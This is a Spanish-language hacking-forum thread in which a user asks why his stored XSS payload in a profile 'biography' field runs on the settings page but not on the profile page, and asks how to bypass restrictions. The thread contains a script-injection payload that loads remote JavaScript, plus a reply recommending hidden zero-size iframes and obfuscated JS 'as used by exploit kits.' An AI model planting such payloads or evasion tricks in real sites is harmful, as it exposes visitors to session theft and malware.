Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: LKI en Julio 17, 2020, 11:17:46 PM

Título: Inyección XSS persistente
Publicado por: LKI en Julio 17, 2020, 11:17:46 PM
Hola amigos, tengo una duda y acudo a ustedes en busca de conocimiento y experiencia. Estoy probando una inyección xss en un input llamemosle "biografia" que se encuentra dentro de la página de configuración del perfil, digamos en /settings el payload es el siguiente:

</script><script src=www.examplesite.com/examplescript.js></script>

Luego de guardar los cambios recargo la página /settings y el script es ejecutado correctamente.
Lo que no entiendo es porque al visitar la página de mi perfil, digamos /profile no se carga el valor rellenado en el paso anterior, es decir, debería cargar el script. Pero en vez de ello no carga nada y deja el campo que debería rellenar de forma vacía:

(https://i.ibb.co/5GhKDgb/Captura.png)
(Se puede ver que dentro del tag <p></p> no carga ningún dato y se encuentra vacío)

Pero el script en cuestión es devuelto por el servidor, ya que al revisar el response se ve claramente que el script viaja de vuelta al cliente:

(https://i.ibb.co/YTHjC54/Captura2.png)

Mi consulta es, ¿si conocen a que se debe este comportamiento, y qué tipo de tácticas se pueden utilizar para poder bypassear cualquier tipo de restricción y que el script en cuestión se ejecute?. Desde ya, muchas gracias!!
Título: Re:Inyección XSS persistente
Publicado por: jonathanvlan en Julio 27, 2020, 02:05:25 PM
hola .  el problema tal vez sea js /css = class muchas veces rompe toda la estructura cuando un js es agregado
para evitar esto puedes utilizar iframe.

Normal
<iframe src="Exploit.html" width="0" height="0" frameborder="0"> </iframe>

Encode
<script type="text/javascript">document.write("<iframe src="Exploit.html" name="bio" frameborder="no" </iframe>") </script>

Este archivo Exploit.html : Tendra que tener tu JS  de esta forma no hay restricciones , metodo utilizado por Exploit Kits
siempre utilizar  border 0  y para mayor persistencia utilizar un encrypt de JS / HTML
Título: Re:Inyección XSS persistente
Publicado por: WHK en Julio 27, 2020, 11:12:34 PM
Revisa la consola de errores del navegador, probablemente tu server no tiene habilitada las cabeceras CORS y ha denegado la carga desde el sitio inyectado.